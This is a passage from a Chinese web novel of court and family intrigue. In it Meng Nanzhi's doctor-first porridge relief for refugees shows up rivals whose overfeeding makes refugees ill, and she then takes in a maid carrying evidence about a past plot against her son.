沈砚珩闻言,转身便带着江鱼一起去和士兵一起维持秩序。
黄营东见状,脸色阴沉得可怕,使劲去拉扯马夫人的衣服,“母亲。”
马夫人也没想到孟南枝这么快就把能场面控制下来,面色紧了紧,对儿子劝慰道:“只要我们这里比他们快,那些流民定然还会再闹。”
黄营东觉得母亲说得有道理,便催促着下人加快施粥的速度,试图用这种方式再次引起孟南枝那边流民的反抗。
然而,那边的流民在士兵的压制下,根本不敢反抗。
而且依照孟南枝所设立的看诊环节,虽然看似有些繁琐,但经大夫看诊,大多数流民因为长期饥饿,身怀伤寒和痢疾。
需要先喝汤药稍作休养后,方可进食。
否则,可能引发腹胀呕吐。
孟南枝与曹宛宁对视一眼,目光落在马夫人那两队依旧加速施粥,未曾有一人先行看诊的流民身上,面露不忍。
这里的环境并不太好,曹宛宁拿起帕子半掩鼻息,压下想要呕吐的感觉,才轻声说道:“南枝姐不必忧心,有舍才能有得。”
孟南枝微微颔首,未再多言。
马夫人扭头恰好看到孟南枝和曹宛宁低声说话,心中隐隐不安,对黄营东道:“东儿,慢一点,让这些流民也去看诊吧。”
黄营东有些恼怒,“母亲,都到这节骨眼儿了,您还心软什么?你看看这些流民,一个个饿得眼都绿了,哪还顾得上什么看病不看病的。”
马夫人抬眼看向面色暗黄、骨瘦麟麟的流民,端起热粥就往嘴里送的模样,内心始终不安,“这要是真出了什么事,咱们可担待不起啊。”
黄营东满不在乎地摆摆手,“能出什么事?人饿了不就是要先吃饭,能有多大事儿。母亲,你不要被那**给唬住了。”
似想到什么,黄营东面色直接一横,道:“还是母亲不想替我谋名,想要把那人记为嫡长子。”
儿子最后一句话,直接压得马夫人放下了最后一点犹豫,撂起袖子亲自上手开始为流民盛粥,“东儿,你也来。”
她是来为儿子争名的,她要向夫君证明她的孩子不比别人差。
怎能可以被孟南枝给唬住。
黄营东见母亲如此用力,得意地一笑,也撂起袖子给流民盛粥,看到饿得狠的,还多给人添了两勺。
流民连连跟他道谢,称他是“大善人”“活菩萨”。
黄营东更加自得,手上的粥就又多添了些,“母亲,您看,名声这不就来了。”
马夫人见状脸上刚溢出笑脸,身旁的流民就开始一个个突然呕吐,捂着肚子痛苦地发出虚弱的求救声。
“疼,疼,疼。”
直到两三位流民突然两眼泛白,直挺挺地倒了下去。
流民们开始大喊大叫,相互乱窜。
“**啦。”
“施粥吃**啦。”
“粥中有毒。”
原本有序的施粥现场,瞬间变得混乱不堪。
马夫人脸上的笑意瞬间凝固,僵着的脸色变得苍白,“东儿,东儿。”
还在盛粥的黄营东,手中的铁勺掉落在地,吓得后退两步。
口中无意识地低喃道:“怎么会这样?不就是吃个粥,怎么会这样?”
一直关注这边情况的孟南枝,迅速对曹宛宁身后的太医道:“还要劳烦几位快去诊治。”
几名太医也不含糊,提着医箱就往倒地的流民身边跑。
那边队伍出了状况,导致这边的流民也开始惊呼,手里端着粥,却不敢去喝。
沈砚珩见状从远处小跑过来,“母亲。”
孟南枝对他摇了摇头,“你和江鱼继续帮忙维持秩序。”
沈砚珩虽然心中担忧,但见母亲神色鉴定,便点了点头,转身大声呼喊让流民不要慌乱,继续排队看诊。
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恰是此时,城门大开。
奕王萧临渊身后跟着数名京官,视察而来。
几人目光落在一片混乱,倒在地上正被太医诊治的流民身上,都瞬间表情郑重地小跑过去。
萧临渊面色凝重,看向曹宛宁道:“侧妃娘娘,这是怎么回事?”
他已经耳尖地听到流民之中说道“粥中有毒”四字,语气明显带有质问之意。
曹宛宁与孟南枝对视一眼,虽腹部不适,但仍是挺直了身子,沉声道:“先等太医诊断。”
萧临渊闻言眸色凝了凝,只得将目光重新落在太医身上。
而此时,几位太医通过对几位流民的诊看,也终于得出结论。
其中一位年长的太医走上前,躬身道:“侧妃娘娘,奕王,这些流民并非**,而是因为长期饥饿,肠胃虚弱,突然进食过多,导致腹胀呕吐。”
“这几位倒地的流民情况较为严重,恐有……”
萧临渊追问:“恐有什么?”
太医道:“恐有性命之忧。”
马夫人闻言瞬间吓得六神无主,双腿发软,瘫坐在地上。
黄营乐也是一脸惨白,额间满是冷汗,“怎么会这样,只是喝粥而已,怎么会有性命之忧?”
一名熟知其道的官员,询问了施粥情况,走到萧临渊身边低说两句后,退回原处。
萧临渊转了转手中板指,抬目看了眼另外一处在沈砚珩和江鱼协助下,依旧先看诊再施粥,秩序分明的流民。
再扭过头来看此处一片狼藉时,眸色带着几分冷厉,道:“马夫人、黄公子,如今这局面,你们作何解释?”
黄营东声音发颤地辩解道:“奕……奕王殿下,我和母亲,只是想让流民多喝点粥。”
萧临渊冷哼一声,“施粥本是善举,如今却因你们贸然行事,致使流民出现如此严重状况,这责任你们担得起吗?”
瘫软在地上的马夫人,脑子瞬间惊醒,孟南枝好似刚才也质问过她同样的话。
她抬头对上孟南枝似笑非笑的视线,突然开口道:“奕王殿下,是孟南枝,是孟南枝故意在害我们。”
第124章 我是怎么害你们了
无辜躺枪的孟南枝,面上不动声色地疑惑道:“敢问马夫人,我是怎么害你们了?”
马夫人在丫鬟的搀扶下,站起身子辩解道:“你明知道这些流民生了病,应该先看诊再施粥,为何还要同意我们医食分离?”
孟南枝气笑了,“不是你们不同意先看诊再施粥,非要医食分离吗?”
马夫人眸子里闪过怨恨,“你可以不同意,你同意了就是在害我们。”
此言一出,现场皆惊。
就连来此视察的官员都跟看傻子似的,瞥了马夫人一眼。
江鱼推了推沈砚珩的胳膊,“这人有病?”
沈砚珩点头,寡言地走到母亲身侧,稳稳地站着,以防万一。
太子侧妃曹宛宁看了眼默不作声的平阳公府陈夫人,开口道:“照这么说,马夫人是认为,提议让分成两处用不同方式施粥的陈夫人有错?”
“同意让你们分成两处用不同方式施粥的本宫也有错了?”
马夫人被她问得一窒,看了面色僵硬的陈夫人,忙低头道:“臣妇不敢。”
她倒是忘了,因为陈夫人的出面,她才能得到给儿子长脸的机会。
陈夫人恨铁不成铁的瞥了她一前,上前一步自责道:“臣妇未曾想到这些流民竟然身患有疾,这才觉得马夫人提出的医食分离有道理。”
顿了顿,她又看向孟南枝道:“只是不知孟姑娘为何如此坚定地要让流民先看诊再施粥,难不成孟姑娘早就知道这些流民身患有疾?”
单是这一句话,便想把因果再次引到她身上。
不管回答知与不知,都会被她抓到错处。
孟南枝神色坦然道:“陈夫人此言差矣,我并非早就知晓流民身患有疾。只是昨日里翻阅杂书时,看到一则记载。”
“‘饥久之人,肠胃虚薄如蝉翼,骤得厚味,如涸泽之鱼骤入洪流,脏腑不堪其重,故暴毙也。’”
“所以在今日施粥时,才想到要先看诊再施粥。只是此论未能得到证实,故而并未强求马夫人与黄公子一同照做。如今看来,这杂书之言倒也算确有依据。”
孟南枝话音刚落地,曹宛宁便笑着附和道:“还是南枝姐思虑周全。”
说罢,又抬眼看向陈夫人,“陈夫人可还有疑问?”
陈夫人只得垂眉笑道:“孟姑娘思虑周全,臣妇心服口服。”
而此时,太医们已经将呕吐的流民安置妥当。
“侧妃娘娘,奕王殿下,这些流民虽然情况危急,但好在救治及时,暂时已经无性命之忧。只是需要好好休养,不可再进食过多。”
曹宛宁眸色微暗,笑道:“如此甚好,你们且好生照看这些百姓。”
孟南枝闻言暗松了口气。
好在,并没有真的造成死亡。
萧临渊目光落在孟南枝身上,唇角再次噙了笑。
他转动手上板指,抬头看向马夫人与黄营东,冷声道:“马夫人、黄公子,今日之事皆因你们贸然行事,才造成如此局面,眼下虽未致命,但你们二人仍难辞其咎。”
因为刚才差点把陈夫人拉下水,此刻的马夫人不敢再多言。
可她的宝贝儿子,黄营东却仍不死心地辩驳道:“奕王殿下,就算如此也不能全怪我们,我们也安排了医理之人为流民看诊。”
“是那些流民自己不先去看诊,非要抢着先喝粥,出了事也是他们咎由自取。”
“你们看诊?”孟南枝闻言目光凌厉地看向黄营东,“摆个摊子往那里一坐,便是看诊了吗?”
“流民们饥饿难耐,自然渴望食物。你们若是照常施粥,一人一勺,也不至于会出这么多事。”
“可你们不仅不先让明看有疾的人去看病,反而催着他们排队施粥。如今出了事,却将责任推到流民身上,这便是你们的担当吗?”
黄营东被她说得哑舌,却仍然不忿道:“我们也是一片好心,只是想他们多吃点。”
一名太医在曹宛宁的示意下,低声道:“正是因为多吃,这些流民才出了问题。”
几名来视察的官员闻言,相互低语。
“此事已造成严重后果,必须妥善处理。”
萧临渊扫了眼被拖到远处歇息的流民,
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对士兵吩咐道:“来人,将马夫人和黄公子带下去,待此事调查清楚后,再做处置。”
马夫人和黄营东脸色惨白,求助似的看向陈夫人和甄少兴。
两人对视一眼,默默地瞥开视线。
马夫人母子二人被带走后,陈夫人母子二人未做多留,以府中有事为由回了府。
萧临渊又带着官员视察一圈,按照先看诊再施粥的流程,重新规制了施粥现场后才离去。
曹宛宁盯着他们的背影,挽住孟南枝的手,笑道:“此事,多谢南枝姐相助。”
孟南枝摇了摇头,并不敢居功,“臣女只是依策行事,未出纰漏全靠侧妃娘娘谋划得当。”
可能“吃**”一事,孟南枝已提前和曹宛清隐晦提及。
曹宛清与妹妹曹宛宁说起后,曹宛宁想将计就计,拽出幕后之人。
这才有了孟南枝明知可能会吃**,却还由着马夫人他们提出医食分离一事。
曹宛宁听孟南枝如此说,眸中笑意更甚。
她拿帕子掩了下鼻息,道:“南枝姐过谦了,若非你机智应对,今日之事怕难以如此圆满解决。”
孟南枝见她面色不好,关切道:“娘娘身子不适,还是先回府上歇息吧。”
曹宛宁确实是身子不适,便点头应下,又环顾四周确认无误后,这才坐上了回宫的马车。
在她走后,孟南枝又去检查了下存放的糙米,确认没有异常后,才松懈下来。
巨幕中,并不纯粹是流民有疾。
有疾,加变质食物。
才是造成本就有疾的流民,食粥后病情严重,导致死亡的根本原因。
直到施粥结束,孟南枝才带着次子沈砚珩和江鱼开始赶回孟府。
雨水过多,城内的积水更深了些。
马车经过城内的小河时,孟南枝发现河水已经快要漫到河岸。
路上的行人更少,连粮店都关了门。
胡氏绸缎庄的铺子倒是还开着,客人也不多。
孟南枝只是看了眼,便收回视线。
等马车慢悠悠地赶到孟府时,家里又来了稀客。
第126章 若我有证据呢
沈二婶说完这句话,便老定神闲地坐直了身子。
似乎笃定她提出的条件,孟南枝一定会同意。
孟南枝轻轻瞥了她一眼,将茶盏放下,“不需要,沈二婶还是请回吧。”
“你。”
沈二婶闻言直接站了起来,手掌按在桌面上,眉头紧皱,“你就不听听看我这是什么条件?”
孟南枝摇头,“什么条件都不需要,因为你们沈府,对我来说,是累赘。”
沈二婶被孟南枝这自信自大的态度,噎得生了笑。
她稳了稳情绪,才又坐下来,卸下讨好的表情,实打实地说道:“孟南枝,你很好,怪不得当年老侯爷非要选你做沈家的儿媳。”
也怪不得自孟南枝回来提出和离后,老爷天天愁得睡不着觉。
在她耳边念叨,说沈卿知不听他的,沈家早晚要出事。
眼下看来,孟南枝对沈家是带着恨意的。
孟南枝闻言并未接话。
此时的沈二婶也没指望孟南枝会理她,她自顾抿了口茶,说道:“沈卿知想要把林婉柔的女儿陆筝筝,记入沈家族谱。”
她认为孟南枝听到这话应该是震惊和不满的。
毕竟在她心里,孟南枝对抢了她男人的林婉柔应该更恨,不管是任何事情都不会如了林婉柔的意才对。
可孟南枝闻言,只淡淡地道了声:“然后呢?”
按照巨幕中的情节发展来看,其实沈卿知早就应该把陆筝筝的名字纳入族谱了。
结果到现在还没纳,孟南枝才觉得奇怪。
这效率是不是太慢了。
眼下,沈二婶已经适应了孟南枝不按常理出牌的思路,面色只僵了一僵,便接着道:
“林婉柔想把陆筝筝的名字写在你的名下,如珩儿和昭儿是双生一样,把陆筝筝和修儿记作双生。”
刚换完衣服过来寻母亲的沈砚珩,一进厅堂就听到这句话。
当下便脸如黑炭,声音里满是压不住的怒气,“陆筝筝算个什么东西,也配与我兄长并作双生?”
“还记得母亲名下,那陆筝筝难不成是她背着陆家与我父亲生的孩子?”
“珩儿!”孟南枝语气重了几分。
有些话,她可以说,但作为儿子的沈砚珩却不可以说。
“母亲。”
沈砚珩虽然不再说话,但眉宇间全是戾气。
这林婉柔实在是欺人太甚。
孟南枝抬目看向沈二婶,眸色冰冷道:“沈二婶这是给我们添堵来了?”
她不信沈家会同意。
沈二婶看了眼满脸戾气的沈砚珩,缓声道:“珩儿放心,沈家不会混淆血脉,早就确认过那陆筝筝不是你父亲的孩子。”
她只是看孟南枝太过镇定,想急一急她,倒没想到这话会让沈砚珩听见。
沈现珩闻言,眉宇间的戾气这才收了些。
父亲在母亲溺水后,与林婉柔有染,已经是不仁。
若那陆筝筝再是父亲的血脉,那他真觉得父亲不配称为男人。
孟南枝让次子坐下,看向沈二婶道:“沈二婶想说什么,最好还是一次性说完。”
沈二婶听出孟南枝语气里的威胁,讪笑了下,“这是林婉柔刚作为平妻嫁入沈府后,陆筝筝及笄时时提的。”
“虽然那时你还没回来,但你二叔顾忌你这三个孩子,怕他们心里难受,就没同意。”
沈二婶很聪明,先是挑明沈二叔对孟南枝三个子女的疼爱,这才又接着说道:“你回来后与卿知和离,你二叔都拦着,又怎会同意他把陆筝筝记入族谱的提议。”
“但昨日里,你二叔从侯府回去后,同意了,主动劝说沈家宗族,要把陆筝筝记上沈家族谱。”
说到此处,沈二婶故意顿了顿,“你猜这是为什么?”
孟南枝冷笑,还能为什么。
肯定是从陆筝筝身上看到更大的利益了呗。
眼下太子府施粥未出事,林婉柔母女还未曾因悄悄施粥出尽风头。
唯一可能的,便是陆筝筝和奕王萧临渊的关系更进一步。
两人,八成是有实质性发展了。
见孟南枝依旧不理她,沈二婶清了清嗓子,准备拉托大的,道:“萧临渊承诺要纳陆筝筝为侧妃。”
说罢
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,她便准备看孟南枝震惊和恼怒的表情。
哪知孟南枝还是一副风轻云淡的模样,“这是沈府的喜事,沈二婶若是来报喜,孟府表示收到了,您若无其他事,还是请回吧。”
沈砚珩眸色闪了闪。
他其实有知道兄长对陆筝筝的感情有点不太对。
但想想自母亲回来后,兄长对陆筝筝的态度有所变化,便没再多嘴。
见孟南枝再次赶她离开,沈二婶面色挂不住道:“孟南枝,你就不怕林婉柔将来得了势,压你一头?”
孟南枝闻言笑道:“怕啊,可那又怎样?”
说到此处,孟南枝话锋一转,突然道:“可我更好奇,林婉柔现在是沈府的平妻,她若得了势,沈府自然也会跟着得势。”
“沈二婶,你不去求助林婉柔帮你带带旻哥儿,反过来让我一个和离出府的人,来帮你带旻哥儿,我是真想不明白,你到底是在图什么?”
沈二婶被她激得不再迂回,道:“她那样一个表里不一的人,才入侯府多久,就把修儿他们三个名声坏成那样。”
“我若是把旻哥儿交给她带,还不知道会给我带出个什么样来!怕到时满京都会说我的旻哥儿不好了!”
这话明显是带了怨气。
偏偏就合了孟南枝心意。
孟南枝微阖眼帘,听不出情绪地说道:“这么说,沈二婶早知道我三个孩子的名声,是林婉柔故意养坏的?”
沈二婶此刻也从孟南枝的话中,回过味来。
她是早就知道,但却不能承认。
若不然,岂不是白白再得罪了孟南枝。
思次,沈二婶紧绷的身子松懈下来,又自顾抿了口茶,“倒也不是早就知道,而是听闻修儿状告恶奴之后,才想明白了很多事。”
“修儿他们三个,都是好孩子,你不在的这些年,确实是受了不少委屈。”
说到此处,沈二婶抬头状似心疼地看了眼对面的沈砚珩,这才又对上孟南枝的视线,道:
“南枝呀,若我有林婉柔故意污蔑他们三个声名的证据,你愿意带旻哥儿施粥吗?”
第127章 是我们让母亲费心了
沈二婶说完这话,便静静地看着孟南枝。
她私心认为,孟南枝总该不会再拒绝了。
沈砚珩闻言抬头看向母亲。
他知道母亲对于他们兄妹三人的一切都很看重。
对他们的名声,有多在乎。
但以前母亲不在时,沈二婶未曾帮扶于他们。
眼下需要用到母亲了,却又以这种理由提出与母亲交换条件。
即便是想清名,沈砚珩也不想母亲被她拿捏。
而且,这么多年过去,他和兄长早就不在乎名声了。
孟南枝目光落在次子沈砚珩的脸上,通过他微皱的眉心,似能看穿他的想法。
给他一个安抚的表情后,孟南枝看向沈二婶道:“那要看看沈二婶拿出的证据够不够格了。”
她再而三地拒绝,也是想看看沈二婶手里到底是攥着什么牌。
只希望不要让她失望才好。
沈二婶听她如此说,总算松了口。
她沉思了片刻,似在回顾往事后,才再次开口道:“我二儿媳有一个丫鬟,叫春梅。春梅有一个姐姐,叫春燕。”
春燕。
长子沈砚修束发时,先是无故爬长子的床,后被恶奴麻子以误解主子命令为由,谋害掉的那个小丫鬟。
孟南枝虽心中迟疑,面上仍是不动声色地听沈二婶继续说。
“春梅说,春燕死前曾往家里送了五十两银子,还说等她飞黄腾达后,就给她娘买处宅子。”
“春燕她娘得了银子后,心里已经有了女儿可能会惹出祸事的想法,所以她在知道春燕勾引修儿落井后,一直没敢去侯府**。”
沈二婶说到此处,看了眼孟南枝,“可耐不住突然有人深夜造访,又给了她五十两银子,让她去侯府为女儿讨回公道。”
“若不然,只是**一个通房而已,何至于满京皆知。”
沈砚珩听此,耐不住性子地问道:“那人是谁?”
他一直以为那个春燕主动勾引兄长,没想到竟然是被人指使。
若此事真和林婉柔有关,他肯定要替兄长掀翻了侯府。
沈二婶摇了摇头,“我知道这件事的时候,春燕娘已经**。”
“春燕娘死前将银子托付给春梅,让春梅把银子留着给弟弟娶妻生子时,觉得愧对春燕,才将此事告诉春梅的。”
孟南枝指尖轻叩桌案,眸中笑意更加冷淡:“沈二婶,您说的这些,并没有实质性证据能证明此事跟林婉柔有关。”
她了解沈二婶,若她有证据,第一步便是拿去威胁林婉柔。
而不会留到十年后,等她回来,跟她交换利益。
沈二婶默了默,才道:“我是没有直接证据,但春燕的妹妹春梅现在在我府上,我相信以南枝你的能力,必然会从中抽丝剥茧地查出有用的信息。”
孟南枝猜得对,她若能查得出,何至于等到现在。
故意把春梅留在自己府中,不过是想着有一天能派上用场罢了。
孟南枝收起放置上桌案上的手指,“说来说去,沈二婶只是提供一个无端猜测,结果还是要我亲自来查。仅凭这些,沈二婶觉得够格让我改变心意吗?”
沈二婶面上不觉尴尬地回道:“南枝,我知道这些证据确实不够直接,但自你回来,修儿状告恶奴麻子后,我们住的府外便多了几个面生的小贩。”
“这些小贩除了日常贩卖,便是打听我府上有没有个叫春梅的。以你的聪慧,不至于猜不出来,对方是想灭了春梅的口吧?”
也亏得她那老二媳妇为人谨慎,一察觉出异常,便把青梅放置在了她的院子。
孟南枝目光落在她的脸上,唇角勾了勾,“如此,就请沈二婶将青梅移交于孟府吧。”
沈二婶闻言眸间猛然一喜,“那旻哥儿?”
孟南枝端起茶盏道:“让他明日辰时到孟府,不过我先把丑话说在前面,我孟南枝办事,向来只凭自己的判断和心意,不会因为任何人而改变原则。”
“旻哥儿若是踏实能干,我自会照拂一二,但若他心术不正,或是想借势做些见不得人的勾当,那就别怪我不讲情面。沈二婶,你可听明白了?”
沈二婶连忙应道:“南枝说的
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是,旻哥儿若是不听话,不用你说,我和你二叔就会亲自教训他。”
见孟南枝再次喝茶,沈二婶没再厚着脸皮坐下,“那南枝你先歇息,我这就回去安排人把青梅给你送来。”
孟南枝不置可否地点了点头。
沈二婶看了眼她的脸色,终于学会客气地和胡姨娘告了辞,才脚步轻快地离开。
待她离开后,次子沈砚珩走到孟南枝面前,语气纠结道:“母亲,没必要的。”
没必要因为已经过往的事,再去承人情、费心思。
孟南枝抬手理了下他的额间碎发,温和笑道:“跟你们兄弟有关的,都有必要。”
沈砚珩被母亲眼中的宠溺看得心中一酸,垂下眼帘道:“是我们让母亲费心了。”
“你们是我的孩子,作为母亲费点心岂不是应当的。”
孟南枝笑着让他坐下,转头看向刘嬷嬷。
刘嬷嬷连忙半屈着身子,跪下自责道:“是老奴无用,当年未曾查到这些。”
孟南枝扶她起来,语气温和道:“嬷嬷无须自责,此事尚未查清,沈二婶所言是否为实,还有待定论。”
刘嬷嬷站起来,依旧半躬着身子道:“当年老奴只查到了麻子,倒没想到那春燕是被人指使的。”
当年春燕一事,春燕娘到府上寻事,哭得声声切切的,说要世子陪她女儿性命。
刘嬷嬷只顾替世子证明不是他下的令,完全没想到连春燕她娘都是被人指使的。
孟南枝点了点头,“此事,待见了那春梅再说。”
刘嬷嬷对她的中心,孟南枝自是知道,看她,也只是想确认下,是否真有此事。
对于侯府过往之事,胡姨娘不好过多插嘴,便对孟南枝道:“枝枝,你先去小歇一会儿,这里有我盯着,待他们把人送来,你再下来。”
孟南枝闻言应下,“那就有劳姨娘了。”
刘嬷嬷心中有愧,迈着坡脚,跟着孟南枝上了阁楼。
在月芹服侍孟南枝洗浴的同时,低声道:“姑娘,沈府要把陆筝筝记入族谱之事,您要不要管?”
第128章 曹景行的询问
刘嬷嬷的话,落入孟南枝的耳中,颤了颤。
孟南枝轻阖眼帘,深思片刻后,才道:“我已与沈卿知和离,量沈家也不敢把陆筝筝记在我的名下,最多不过是以继女名义记录。”
回来经历这么多事,她已经摸出规律。
有些事,并不是她想改变就能改变的。
尤其是陆筝筝和奕王萧临渊之间那点事。
她现在已与沈卿知和离,沈府的事,已经轮不到她来插足。
“可若陆筝筝记在了侯府,昭姐儿就不是侯府唯一的小姐了。”刘嬷嬷实在是替昭姐儿感到不平。
孟南枝突然睁开眼,强调道:“嬷嬷,我的孩子,从来不用指望沈家。”
当然,该是她孩子的,她也不会主动让给别人。
……
沈卿知最近很忙。
他多次想到孟府和孟南枝联络感情,却总被锁事缠身,始终没能腾出时间去。
就如眼下,他刚料理完正事准备出官署,就又被上官给叫住。
“沈外郎,曹侍郎有事叫你。”
沈卿知躬身应下,往曹侍郎的署府走。
这已经是自那日他在孟府,被谢归舟斥责出来,曹侍郎连续第三天寻他做事了。
若是以前,他还觉得被上官赏识,是好事。
可如今,自从林婉柔嘴里知道曹国公府想与孟家联姻,让曹侍郎娶孟南枝做续弦后。
沈卿知整个人都跟吞了数只苍蝇一样恶心。
但,偏偏,每次曹侍郎对他的安排和“器重”,都挑不出理去。
他只能从早忙到晚,累得腰酸背痛。
出了官署就想歇着,哪还有精力再去孟家。
而他又岂不知路过同撩看他的眼神,都带着幸灾乐祸。
嘲笑他捡了芝麻,丢了西瓜。
所幸是林婉柔的女儿陆筝筝够争气,竟然真的攀上了奕王。
昨日里奕王萧临渊给了他准话,待灾情结束,就会和圣上提及纳陆筝筝为侧妃一事。
沈二叔也答应,会去劝说宗家,把陆筝筝的名字记入沈家族谱。
这都是好事。
成大事者,要先学会隐忍。
思此,沈卿知因忙碌半天,有些混沌的脑子,又清醒了许多。
抬手使劲搓了两下带有细纹的脸庞,沈卿知换上一脸客气的笑意,叩门道:“曹侍郎,昨日您安排的事务,臣均已办妥。”
曹景行放下手中膏笔,抬目看了他一眼道:“沈兄辛苦了,本官今日寻你前来倒也并非是公事,而是有些私事想和沈兄说道两句。”
沈卿知眸色闪了闪,依旧客气道:“曹侍郎但说无妨。”
他不认为和曹侍郎有什么私事可以说道。
曹景行语气如常道:“也不是什么大事,只是本官听闻,沈兄似想把平妻的女儿纳入沈家族谱,可有此事?”
沈卿知面色一僵,应道:“是有此事。”
却是不解,这是他们沈家的私事,怎么会传到他的口中。
“不知是以什么名义纳入?”曹景行似乎是随口问道。
沈卿知皱眉,回道:“自是以继女之名纳入。”
曹景行听此,面上挂了笑,“那看来是本官听岔了,竟是信了外面的传言,说沈兄是想把这继女的名字记在正妻的名下。”
沈卿知闻言面色难堪之极,“臣怎会干出这种混淆血脉之事。”
“没有此事是最好。”曹景行看起来心情甚好,完全没有揭人短处的幸灾乐祸。
顿了顿,他又道:“本官本来还担心沈兄若真这么做了,只怕是要收到一堆**,如今确认没有此事,便放心了。”
出了曹景行署府的沈卿知,脸色青黑一片,后背更是冷汗淋漓。
他是真没想到他的府上,竟然一点隐私都没有,全被上位者看在眼里。
还有官员竟然时刻在等着抓他的错处,想着**他。
而这一切的变化,都来自于他那位溺水消失的亡妻,孟南枝回来后。
想在已经重坐高位的孟正德。
沈卿知觉得还是有必要,再多去几趟孟府。
……
镇北侯府。
陆筝筝正一脸娇羞地坐在软榻上绣花,只是那手中半天未动的针线,明显证明着她在走神。
林婉柔悄声无息地走进来,看到这一幕,清咳了一声。
陆筝筝闻
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言,忙回过神,把绣帕放到一边,起身过来迎她,“母亲。”
林婉柔在她的服侍下坐在贵妃椅上,轻撂眼皮,“准备得怎么样了?”
陆筝筝示意丫鬟都去门口候着,亲自为母亲倒了茶水,双手递到她手上,才缓缓说道:“都准备好了。”
林婉柔微微点头,从怀里掏出一根簪子递给她,“等到入沈家祖祠时,记得带上这个。”
陆筝筝接过金簪,掩饰不住一脸惊喜,连一向只会怯生生的语气都变了音调,“母亲,您,修好啦?”
她手里拿着的那根金簪,正是被孟南枝取下宝石的那根。
此时上面嵌着的鸽血石,滢滢透着亮光,格外漂亮。
“嗯。”林婉柔轻轻回应了一声,目光落在那颗鸽血石上,眸色阴暗。
“真好,母亲,真的好漂亮。”
陆筝筝盯着金簪,感动地落了泪,半跪在地上将头贴在林婉柔的腿背上,“筝儿多谢母亲。”
林婉柔抬手跟撸猫儿一样,轻轻撸了两下她的头发。
待看到她瓷白如玉的脖间未曾完全消下的红痕时,轻轻按了一下,“若这两日奕王还来寻你,知道该怎么做吧?”
脖间清凉的触感,让陆筝筝不由自主地轻颤了一下。
她直起身子,轻点了点头,又变回怯生生的语气,“筝儿知道,以身子不适为由,避而不见。”
自上次母亲说要她和奕王更进一步后。
陆筝筝便按照母亲的安排,故意寻到吃醉酒的奕王萧临渊,被他“强制”发生了关系。
事后,陆筝筝故作气恼地丢下还在熟睡的萧临渊,独自回了侯府。
她心惊胆战地在侯府待了一天。
终于在昨日,萧临渊到侯府来寻她。
陆筝筝自然是听从母亲的安排,不欲见他。
也不知道母亲到底与他谈了什么,萧临渊提出待灾情结束,便向圣上提议纳她为侧妃。
侯爷听闻,在萧渊离开后,高兴地立马把沈二叔寻来。
说定了把她纳入沈家族谱的提议。
眼下,她只用等着入沈家族谱和灾情结束,就可以高嫁奕王了。
第129章 有些地方好像失了控
林婉柔见女儿一脸娇羞的作态,有些不喜。
她拿帕子轻擦了擦玉手,突然道:“孟南枝这两日在城门口施粥,出尽了风头,连平阳公府陈夫人和吏部尚书马夫人,都被她压了下去。”
陆筝筝没想到母亲会突然转移话题,微愣了愣神,询问道:“母亲可是有什么需要筝儿来做?”
林婉柔看了她一眼,笑得非常温柔,“以色侍人总归是不能长久,筝儿也要让人看到你的价值才对。”
“母亲是想让筝儿也去施粥?”陆筝筝瞬间想明白母亲的意思,“可施粥之事,是由太子府主理,太子府现在与孟府亲近,筝儿怕是去不了。”
而且,母亲刚还说让她以身体不适为由,对奕王避而不见。
转身就又让她去参与施粥,是不是前后矛盾?
林婉柔轻撂眼皮,冷笑道:“今日施粥出了事,明日早朝太子府必会得到**,太子人在山城,太子侧妃身怀圣孙,纵使不会被严重问责,也定然会落个监管不力的后果。”
她今日专门去了趟林府,见了父亲。
只是可惜,追溯源头,错处竟然是出在马夫人母子身上。
她当时听到后,愣了一瞬,总觉得有些地方好像失了控。
不过,也庆幸那对愚蠢的母子,给了他们这群插不进手的人,分得一杯羹的机会。
思到这里,林婉柔接着说道:“总之,你先提前做好参与施粥准备一事。”
“况且,你若能在此时展现出心善一面,获得美名,让沈家和奕王看到你的好,不管对你入沈家族谱,还是嫁入王府只有益处没有坏处。”
陆筝筝听着母亲的分析,心中思路渐渐明确。
只是,她眉头皱了皱,抬头看向母亲,语气带了不确定的问道:“母亲,太子府被问责,那南姨会被问责吗?”
林婉柔似想到什么,冷笑一声,“孟南枝怎么会被问责,她只怕是还要被圣上夸赞呢。”
她巴不得孟南枝被问责,可据她了解的事实。
孟南枝这两日参与施粥的表现,只有功,没有过。
想抓她的错处,可太难了。
尤其是现在她的父亲又成了右相。
京都的妇人,谁还敢再去主动惹她。
那些此前得罪过孟南枝的,此刻哪个不是都恨不得躲得远远的。
还生怕被她反过来抓住错处。
……
小歇过后的孟南枝,见到了沈二婶送来的春梅。
大约十四五岁,头梳丫鬟髻,身穿青色罗裙,五官小巧,长得倒也算标致。
背上挎了个粗布格子的包裹,装的应是贴身衣物。
她一见到孟南枝,便行了跪礼,“奴婢春梅,见过夫人。”
“起吧。”孟南枝没有打算为难她。
春梅躬身站着,并不敢抬头,目光紧紧盯着孟南枝的裙摆。
孟南枝见她还算规矩,对月芹微微颔首。
月芹为春梅搬了软凳,让她在距离孟南枝半丈处坐下。
“谢夫人。”青梅只坐了三分之一的凳面。
孟南枝这才轻抿了口茶,道:“沈二夫人和你说了,来我这里做什么吧?”
春梅闻言细声说道:“奴婢来时,沈二夫人有交代,一切都听夫人安排。”
孟南枝放下茶盏,“说说你都知道些什么吧。”
春梅闻言说道:“奴婢的姐姐春燕,并非是镇北侯府的丫鬟,她当时是被林府的林老夫人买走的,而且签的是生契。”
孟南枝眉峰微蹙,这点沈二婶倒是没说,刘嬷嬷也不知道。
“本来,姐姐再有一个月就可以出府了,没想到竟然发生那种事。”似说到了伤心处,春梅眼中落了泪。
“我娘对姐姐的死,一直耿耿于怀,直到临死,还在念叨着姐姐。”
说到此处,春梅擦了擦脸上落的泪,从背着的包裹里掏出一个袖帕裹着的物件。
解开袖帕,里面是一张放得发黄的宣纸。
春梅双手捧着宣纸递给孟南枝,“夫人,这是我娘临死前偷偷塞给我的。”
孟南枝接过宣纸,看了眼上面的内容,眸色深暗,“还有其他人看到过吗?”
春梅连忙摇头道:“没有了,奴婢连沈二夫人都没说,只给夫
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人您看过。我娘死前曾说,若没有把握,这辈子都不要给任何人看。”
她们这些普通百姓,是斗不过世家夫人的。
若非是孟南枝,她这辈子可能都不会拿出来。
孟南枝点了点头,“你娘善画?”
宣纸上是一幅画像,男人,很普通,相貌平平,丢在大街上立马找不到的那种。
偏偏孟南枝能在记忆里对上,她见过这个人。
春梅的头一直就没抬起来过,“我娘学过刺绣,画工还可以,记忆力也好,只是不识字。画上的那个人,是寻我娘去侯府替姐姐讨公道的那个人。”
